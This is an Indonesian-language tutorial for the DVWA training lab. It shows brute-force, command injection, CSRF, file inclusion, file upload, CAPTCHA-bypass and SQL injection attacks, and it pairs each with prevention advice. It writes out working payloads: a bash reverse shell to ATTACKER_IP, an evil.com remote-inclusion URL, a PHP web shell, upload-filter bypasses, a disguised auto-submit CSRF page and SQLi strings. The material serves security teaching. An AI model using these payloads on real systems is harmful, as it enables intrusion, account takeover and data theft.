**Tutorial DVWA**

**Brute Force Attack DVWA**

1. Buka DVWA

http://127.0.0.1:42001/dvwa

1. Login DVWA

* Username: admin
* Password: password

## 2. Atur Security Level

* Klik **DVWA Security** (menu kiri).
* Pilih **Low** (biar gampang dulu).
* Save.

1. Klik menu **Brute Force** di DVWA. Kamu akan lihat form dengan

Username: [ ]

Password: [ ]

[Login]

1. URL target (contoh):

[http://127.0.0.1:42001/dvwa/vulnerabilities/brute/](http://127.0.0.1/dvwa/vulnerabilities/brute/)

Dari form ini, kalau login gagal muncul pesan:

**Username and/or password incorrect.**

1. Gunakan Hydra

Format dasar Hydra untuk form login HTTP POST:

hydra -l USERNAME -P WORDLIST IP -s <port> http-post-form "PATH:PARAMETER:ERROR\_MESSAGE"

* Berikut contoh lengkapnya:
* hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 42001 http-post-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

**Penjelasan:**

* -l admin → username tetap admin.
* -P /usr/share/wordlists/rockyou.txt → wordlist password.
* 127.0.0.1 → target (localhost).
* -s -> port target
* http-post-form → metode POST form.
* /dvwa/vulnerabilities/brute/ → path form.
* username=^USER^&password=^PASS^&Login=Login → parameter form.
* Username and/or password incorrect. → string yang menandakan login gagal.

1. Hasil (Contoh Output Hydra)

* Kalau password ditemukan, Hydra akan menampilkan:
* [80][http-post-form] host: 127.0.0.1 login: admin password: 123456

artinya passwordnya adalah 123456

Jika menggunakan selain hydra kita juga bisa menggunakan Burp Suite dimana step by stepnya adalah sebagai berikut:

### Intercept Login dengan Burp Suite

1. Jalankan Burp Suite (di Kali Linux ada **Burp Community Edition**).

* Set browser ke proxy 127.0.0.1:8080.
* Isi login form (isi sembarang username/password).
* Klik **Login** → Burp akan menangkap request.

1. Kirim Request ke Intruder

* Di Burp, klik kanan pada request → **Send to Intruder**.
* Buka tab **Intruder** → pilih request tadi.

1. Atur Payload Position

* Klik **Clear** (hapus semua posisi otomatis).
* Pilih value pada username= → tandai dengan §.
* Pilih value pada password= → tandai dengan §.
* Contoh hasil: username=§admin§&password=§test§&Login=Login

1. Atur Payload

* Tab **Payloads**.
* **Payload set 1 (username)** → isikan username tetap (admin).
* Bisa pilih "Simple list" → masukkan admin.
* **Payload set 2 (password)** → pilih "Load" → ambil wordlist, Misalnya: /usr/share/wordlists/rockyou.txt

1. Jalankan Attack

* Klik **Start attack**.
* Burp akan mencoba login dengan semua kombinasi.

1. Analisis Hasil

* Perhatikan kolom **Length** atau **Status**.
* Login gagal biasanya panjang response berbeda dari login Sukses.
* Contoh: admin : 123456 → 302 redirect (SUCCESS)
* admin : 111111 → 200 OK (FAIL)

**Berikut **langkah-langkah pencegahan brute force attack** di aplikasi web:**

1. **Lock akun sementara** setelah gagal login beberapa kali (misal 5 kali gagal → akun dikunci 5 menit).
2. Bisa juga **CAPTCHA** muncul setelah 3–5 kali gagal.
3. Alternatif: **progressive delay** → makin sering gagal, makin lama jeda antar login (exponential backoff).
4. Tambahkan **CAPTCHA** di form login.
5. Memaksa brute force tool (Hydra, Burp, wfuzz) jadi tidak efektif karena butuh input manual.
6. Log semua percobaan login.
7. Buat alert kalau ada ribuan request login dari 1 IP dalam waktu singkat.
8. Integrasikan dengan SIEM / IDS (contoh: Wazuh, Suricata, Fail2ban).
9. Wajibkan password yang kuat (panjang, kombinasi huruf/angka/simbol).
10. Semakin kuat password, semakin sulit ditebak brute force.
11. Bisa juga pakai **multi-factor authentication (MFA)**.
12. Di DVWA level **Medium/High**, brute force sulit karena ada **CSRF token** yang berubah tiap request.
13. Pastikan aplikasi login nyata juga pakai random token untuk mempersulit automated attack.
14. Gunakan **Web Application Firewall (WAF)** untuk memblok request berulang.
15. Batasi login hanya dari lokasi tertentu (misalnya VPN internal).
16. Jangan kasih pesan error detail seperti:

* ”Username salah"
* "Password salah"

1. Sebaiknya pakai pesan umum:

* "Username atau password tidak valid"
* → ini mencegah attacker tahu username mana yang valid.

1. **DVWA Low** → brute force mudah (tanpa proteksi).
2. **DVWA High** → ada token + delay → brute force jadi ribet.
3. **Aplikasi nyata** sebaiknya minimal meniru level High:

* CSRF token
* Rate limiting
* CAPTCHA

1. **Rate limiting + CAPTCHA + MFA + monitoring** = kombinasi efektif mencegah brute force login.

**Serangan Command Injection di DVWA**

### Masuk ke Menu Command Injection

### Login ke DVWA.

### Buka menu: **Vulnerabilities → Command Injection**.

### Tampilan default: form untuk **ping host** (misalnya 127.0.0.1).

### Uji Input Normal

### Masukkan 127.0.0.1 → tombol Submit.

### Output: hasil ping 4 kali dari localhost.

### Artinya aplikasi memang menjalankan ping di server.

### Coba Payload Sederhana

### Tambahkan ; ls untuk chaining command:

### 127.0.0.1; ls

### Jika berhasil, output akan menampilkan hasil ping **dan** daftar file di direktori DVWA (misalnya index.php, config.inc.php, dll).

### Payload Lain

### Mengetahui user yang menjalankan service web:

### 127.0.0.1; whoami

### Melihat file sensitif:

### 127.0.0.1; cat /etc/passwd

### Membuat reverse shell (jika port attacker terbuka):

### 127.0.0.1; bash -i >& /dev/tcp/ATTACKER\_IP/4444 0>&1

### (Lalu attacker tunggu dengan netcat nc -lvnp 4444).

### Analisis Hasil

### DVWA **Low Security** → tidak ada filter, semua command injection berhasil.

### DVWA **Medium/High** → ada filtering sederhana, tapi bisa di-bypass dengan payload kreatif (misalnya pakai &&, |, backticks `).

### ****Cara Pencegahan Command Injection****

Pencegahan dilakukan di **sisi aplikasi** & **sisi server**.

1. Validasi Input (Whitelisting)
2. Jika input seharusnya **IP Address**, validasi dengan regex:
3. if (!filter\_var($ip, FILTER\_VALIDATE\_IP)) {

die("Invalid IP");

}

Jangan biarkan karakter seperti ;, &, |, ` masuk.

1. Jangan Gunakan exec(), system(), shell\_exec()
2. Di DVWA, input langsung dipasang ke command:

system("ping -c 4 " . $ip); **Ini rawan.**

1. Gunakan library / fungsi native yang lebih aman:
2. Untuk **ping**: gunakan socket atau library PHP.
3. Untuk **file handling**: pakai fungsi PHP bawaan, bukan command OS.
4. Escape Shell Command (Jika Terpaksa)
5. Jika **benar-benar harus** menjalankan command shell, escape input:

$ip = escapeshellarg($\_GET['ip']);

system("ping -c 4 " . $ip);

escapeshellarg() akan menambahkan tanda kutip dan menghapus karakter berbahaya.

1. Principle of Least Privilege
2. Jalankan web server dengan user non-root.
3. Jadi meskipun command injection terjadi, kerusakan terbatas.
4. WAF (Web Application Firewall)
5. Gunakan WAF (contoh: ModSecurity) untuk memblok pola command injection seperti ; ls, | cat, dll.
6. Monitoring & Logging
7. Log input user yang mencurigakan.
8. Integrasikan dengan Fail2ban / SIEM agar brute force & command injection bisa cepat terdeteksi.
9. **Ringkasan**
10. **Serangan**: input 127.0.0.1; ls → server mengeksekusi perintah tambahan.

****Pencegahan**:**

1. Validasi input (gunakan whitelist).
2. Jangan gunakan fungsi system().
3. Gunakan escapeshellarg() bila terpaksa.
4. Jalankan service dengan user non-root.
5. Tambah WAF & monitoring.

# ****Serangan CSRF di DVWA****

### Masuk ke Menu CSRF

### Login ke DVWA.

### Klik menu: **Vulnerabilities → CSRF**.

### Halaman yang muncul: form untuk **mengubah password user**.

### Analisis Form CSRF

### Form di DVWA (Low security) biasanya seperti ini:

<form action="csrf.php" method="GET">

New password: <input type="text" name="password\_new">

Confirm new password: <input type="text" name="password\_conf">

<input type="submit" value="Change">

</form>

* Jika submit, request GET dikirim ke:

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password\_new=abc123&password\_conf=abc123&Change=Change

* Masalah: **Tidak ada proteksi (token/validasi)** → siapa pun bisa memaksa user mengirim request ini.

### Buat Halaman Berbahaya

Attacker bisa bikin file HTML berisi auto-submit form:

<html>

<body>

<h1>Free Gift Card! Click Here!</h1>

<form action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">

<input type="hidden" name="password\_new" value="hacked123">

<input type="hidden" name="password\_conf" value="hacked123">

<input type="hidden" name="Change" value="Change">

</form>

<script>document.forms[0].submit();</script>

</body>

</html>

1. Jalankan Attack

* User DVWA login sebagai **admin**.
* User lalu buka halaman berbahaya attacker (misalnya via link email).
* Browser otomatis kirim request GET ke DVWA → password admin berubah jadi hacked123.
* **Tanpa sepengetahuan user**, password sudah diganti.

### Level Security di DVWA

* **Low** → rawan CSRF (tidak ada proteksi).
* **Medium/High** → ada token CSRF yang dicek di form, sehingga attacker sulit membuat request palsu.

**Cara Pencegahan CSRF**

### Gunakan CSRF Token

### Tambahkan **token random unik** di setiap form:

$\_SESSION['token'] = bin2hex(random\_bytes(32));

* Form HTML:

<input type="hidden" name="token" value="<?php echo $\_SESSION['token']; ?>">

Validasi di server:

if ($\_POST['token'] !== $\_SESSION['token']) {

die("Invalid CSRF token");

}

* Token harus: **Unik per session, Berubah setiap request** (untuk security tinggi)

### Gunakan **POST**, Bukan **GET**

* Hindari operasi sensitif dengan GET.
* Misalnya ganti password seharusnya pakai POST, bukan:

/change.php?password=123

### SameSite Cookie

* Atur cookie session supaya **tidak terkirim dari cross-site request**. Contoh di php.ini:

session.cookie\_samesite = Strict

### Multi-Factor Authentication (MFA)

* Meskipun ada CSRF, serangan tidak berguna jika attacker tidak bisa masuk ke akun karena MFA.

### User Awareness

* Jangan klik link mencurigakan.
* Logout dari aplikasi jika tidak digunakan.

# ****Ringkasan****

* **Serangan CSRF di DVWA**: attacker buat HTML dengan form auto-submit untuk mengganti password user.
* **Pencegahan**:

1. Tambah **CSRF token** di form.
2. Gunakan **POST**, bukan GET.
3. Terapkan **SameSite cookie**.
4. Tambahkan **MFA**.
5. Monitoring & edukasi user.

**Serangan File Inclusion di DVWA**

### Masuk ke Menu File Inclusion

* Login ke DVWA.
* Klik menu: **Vulnerabilities → File Inclusion**.
* Biasanya muncul halaman dengan parameter page. Contoh URL:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php

### Uji LFI (Local File Inclusion)

### Ganti parameter page dengan file sistem

### <http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/passwd>

### Hasil: isi file /etc/passwd ditampilkan (jika security level **Low**).

### Directory Traversal

* Kadang file ditaruh di subfolder, attacker bisa coba bypass:

<http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd>

### Remote File Inclusion (Jika allow\_url\_include=On)

* Masukkan URL eksternal:

[http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://evil.com/shell.txt](http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http:/evil.com/shell.txt)

* Jika server mengizinkan, script dari evil.com dijalankan di server DVWA.
* Ini bisa dipakai untuk upload **PHP reverse shell** → RCE.

1. File Log Poisoning (Advanced LFI → RCE)

* Jika hanya bisa baca file lokal, attacker bisa coba **log poisoning**:
* Kirim request dengan payload ke User-Agent:

<?php system($\_GET['cmd']); ?>

* Lalu akses:

<http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=id>

* HP code dari log dieksekusi.

### Security Level DVWA

* **Low** → langsung vulnerable (include($\_GET['page']);).
* **Medium/High** → ada filter (misalnya block http:// atau ../), tapi masih bisa bypass dengan teknik encoding (URL encode, double encoding, null byte injection, dll).

# ****Cara Pencegahan File Inclusion****

### Gunakan Whitelist

### Jangan pernah langsung include file dari input user.

### Contoh vulnerable (DVWA Low):

include($\_GET['page']);

* Versi aman:

$allowed\_pages = ['home.php', 'about.php', 'contact.php'];

$page = $\_GET['page'];

if (in\_array($page, $allowed\_pages)) {

include($page);

} else {

echo "Access denied!";

}

### Jangan Pakai allow\_url\_include

* Pastikan di php.ini:

allow\_url\_include = Off

allow\_url\_fopen = Off

### Validasi Input

* Pastikan hanya karakter aman (a-zA-Z0-9\_.-).
* Tolak jika ada ../ atau http://.  
  Contoh:
* $page = $\_GET['page'];
* if (preg\_match('/^[a-zA-Z0-9\_.-]+$/', $page)) {
* include("pages/" . $page);
* } else {
* echo "Invalid input";
* }

### Gunakan Framework

### Framework modern (Laravel, Symfony) punya routing sendiri → tidak butuh include dari input user.

### Principle of Least Privilege

* Jangan jalankan web server sebagai root.
* Batasi akses file sistem dengan permission minimal.

# ****Serangan File Upload di DVWA****

### Masuk ke Menu File Upload

* Login ke DVWA.
* Klik: **Vulnerabilities → File Upload**.
* Muncul form untuk upload file.

### Upload File Biasa (Test)

* Upload gambar .jpg atau .png → berhasil.
* DVWA menampilkan file di folder upload, contoh:

<http://127.0.0.1/dvwa/hackable/uploads/test.jpg>

### Coba Upload PHP Shell

### Buat file PHP berisi reverse shell atau command execution. Contoh sederhana:

<?php system($\_GET['cmd']); ?>

* Simpan sebagai shell.php.
* Upload via form.

### Hasil di DVWA Security Level

### **Low** → langsung berhasil. File .php bisa diakses:

<http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=whoami>

* → Server mengeksekusi perintah whoami.
* **Medium** → filter sederhana (cek ekstensi). Bisa bypass dengan:
  + Ubah nama file jadi shell.php.jpg
  + Atau gunakan uppercase SHELL.PHP
  + Atau tambahkan null byte (di versi PHP lama): shell.php%00.jpg
* **High** → ada validasi MIME type + ekstensi. Tapi masih bisa diakali:
  + Upload file shell.php dengan header Content-Type: image/jpeg
  + Atau gunakan polyglot file (file yang valid gambar tapi ada kode PHP).

### Mendapatkan RCE

* Jika berhasil upload, akses URL file.
* Contoh:

http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=uname -a

* Attacker dapat full command execution di server.

# ****Cara Pencegahan File Upload Vulnerability****

### Validasi Ekstensi dengan Whitelist

### Hanya izinkan ekstensi tertentu, misalnya .jpg, .png, .gif.

$allowed\_ext = ['jpg','jpeg','png','gif'];

$filename = $\_FILES['file']['name'];

$ext = pathinfo($filename, PATHINFO\_EXTENSION);

if (!in\_array(strtolower($ext), $allowed\_ext)) {

die("File type not allowed!");

}

### Validasi MIME Type & Signature

* Jangan hanya cek ekstensi.
* Gunakan finfo\_file() untuk cek **MIME type sebenarnya**.
* Cek magic number file (signature) → pastikan memang gambar.

### Simpan di Folder Non-Eksekusi

* Simpan file upload di folder **di luar root web**.
* Jika harus diakses user, buat script PHP khusus untuk serve file sebagai **download**, bukan eksekusi.
* Contoh: uploads/ tidak boleh bisa eksekusi .php.  
  Di Apache .htaccess:

<FilesMatch "\.php$">

Deny from all

</FilesMatch>

### Rename File Upload

* Jangan pakai nama asli file dari user.
* Gunakan random string + hash:

$newname = md5(time() . $filename) . '.' . $ext;

move\_uploaded\_file($\_FILES['file']['tmp\_name'], "uploads/" . $newname);

### Gunakan Security Layer Tambahan

* Limit ukuran file (hindari DoS dengan file besar).
* Scan file dengan antivirus (ClamAV, dll).
* Gunakan WAF untuk blok pola exploit umum.

**Konsep Dasar Insecure CAPTCHA**

Fitur **CAPTCHA** digunakan untuk membedakan human dan bot.  
Pada DVWA, implementasinya lemah (insecure) karena validasi hanya dilakukan secara sederhana di sisi klien atau logika verifikasi bisa dilewati. Artinya: meskipun CAPTCHA ada, attacker masih bisa melakukan brute force login tanpa perlu memecahkan CAPTCHA.

## **Serangan di DVWA (Insecure CAPTCHA)**

### **Langkah 1: Akses ke Vulnerability**

* Login ke DVWA.
* Masuk ke menu **Vulnerabilities → Insecure CAPTCHA**.

Langkah 2: Amati Mekanisme CAPTCHA

* Form yang muncul biasanya meminta:
  + **Username**
  + **Password**
  + **CAPTCHA**
* CAPTCHA ditampilkan berupa gambar dengan angka/huruf.
* Namun, kelemahannya:
* CAPTCHA hanya ditampilkan, tapi backend tidak memvalidasi secara kuat.
* Nilai CAPTCHA kadang disimpan di sesi/hidden field atau bahkan bisa dilewati.

Langkah 3: Coba Login Manual

* Masukkan username/password **benar**.
* Untuk CAPTCHA, coba isi **sembarang angka/huruf**.
* Pada level **low**, login tetap berhasil walau CAPTCHA salah → berarti validasi CAPTCHA **tidak berfungsi**.

**Langkah 4: Lakukan Bypass / Brute Force**

* Gunakan **Burp Suite**:
* Aktifkan proxy dan tangkap request login.
* Perhatikan bagian POST request:

username=admin&password=password&captcha=1234

* Ubah nilai captcha ke sembarang (misalnya 1111), lalu forward.
* Jika username/password benar, login berhasil meskipun CAPTCHA tidak valid.

Gunakan **Intruder** di Burp Suite atau hydra untuk brute force password tanpa memikirkan CAPTCHA.

Solusi Pencegahan Insecure CAPTCHA

Agar tidak insecure, perlu perbaikan sebagai berikut:

* **Validasi CAPTCHA di Server-Side**
  + Jangan hanya tampilkan gambar CAPTCHA di frontend.
  + Validasi jawaban CAPTCHA harus dicek oleh server terhadap nilai yang benar (misalnya disimpan di session, lalu dibandingkan di backend).
* **Gunakan CAPTCHA Modern**
  + Gunakan layanan CAPTCHA yang lebih kuat seperti **Google reCAPTCHA**, hCaptcha, atau puzzle berbasis AI.
  + Ini membuat bot lebih sulit melewati login.
* **Rate Limiting & Lockout**
  + Batasi jumlah percobaan login per IP/user.
  + Setelah 3–5 kali gagal, akun bisa dikunci sementara.
* **Multi-Factor Authentication (MFA)**
  + CAPTCHA tidak boleh jadi satu-satunya penghalang brute force.
  + Tambahkan lapisan lain seperti OTP/email verification.
* **Monitoring & Logging**
  + Pantau pola login abnormal.
  + Jika banyak request dari IP yang sama, blokir secara otomatis.

# Serangan SQL Injection di DVWA

* Login ke DVWA.
* Pergi ke menu **Vulnerabilities → SQL Injection**.
* Kamu akan lihat input form:

User ID: [ ] Submit

### Coba Input Normal

* Masukkan angka 1 lalu submit.
* Query di belakang layar (Level Low) kira-kira:

SELECT first\_name, last\_name FROM users WHERE user\_id = '1';

* Output: menampilkan nama user dengan id=1.

### Uji Input dengan Karakter Khusus

* Masukkan ' (tanda petik tunggal).
* Kalau error muncul (SQL syntax error), berarti input **langsung dipakai di query tanpa filter** → rawan SQL Injection.

### Payload Dasar: Login Bypass / Dump Data

* Masukkan: 1' OR '1'='1' --
* Query menjadi: SELECT first\_name, last\_name FROM users WHERE user\_id = '1' OR '1'='1' -- ';
* Hasil: semua user muncul → berarti injection berhasil.

Solusi Pencegahan SQL Injection (Best Practices)

* Di dunia nyata (bukan DVWA), supaya aplikasi **tidak rentan SQL Injection**, lakukan hal berikut:

### ****Prepared Statements / Parameterized Queries****

* Contoh dengan **PHP + MySQLi**:

$stmt = $mysqli->prepare("SELECT first\_name, last\_name FROM users WHERE user\_id = ?");

$stmt->bind\_param("i", $id);

$stmt->execute();

* Input user ($id) tidak langsung ditempel ke query, jadi aman.

### Validasi & Sanitasi Input

* Pastikan input sesuai tipe data.

if (!ctype\_digit($\_GET['id'])) {

die("Invalid input");

}

* Jangan biarkan ' OR 1=1 -- bisa masuk query.

### Batasi Hak Akses Database

* Gunakan user DB khusus aplikasi dengan hak terbatas (SELECT/INSERT saja).
* Jangan gunakan user root untuk aplikasi web.

Nonaktifkan Error Disclosure

* Jangan tampilkan error SQL ke user.

error\_reporting(0);

ini\_set('display\_errors', 0);

* Simpan error di log, bukan ditampilkan.

### Gunakan ORM / Framework

* Framework modern (Laravel, Django, Spring) sudah punya query builder/ORM dengan SQL Injection protection bawaan.

### Tambahan Proteksi

* WAF (Web Application Firewall) untuk mendeteksi pola SQLi.
* Rate limiting supaya brute force lebih sulit.
* Monitoring log untuk anomali query.

Serangan SQL Injection (Blind) di DVWA

Akses Halaman Vulnerability

* Login ke DVWA.
* Pergi ke menu **Vulnerabilities → SQL Injection (Blind)**.
* Form inputnya mirip dengan SQL Injection biasa:

User ID: [ ] Submit

* Bedanya: output hanya “User ID exists” atau “User ID is MISSING”.

### Uji Input Dasar

* Masukkan angka 1 → hasil: User ID exists.
* Masukkan 999 → hasil: User ID is MISSING.
* Artinya query berjalan seperti:

SELECT first\_name, last\_name FROM users WHERE user\_id = 'input';

### Coba Payload dengan Kondisi

* Masukkan: 1' AND 1=1 --
* → Output: User ID exists (true).
* Masukkan:· 1' AND 1=2 --
* → Output: User ID is MISSING (false).
* Berarti input memang disuntikkan ke SQL.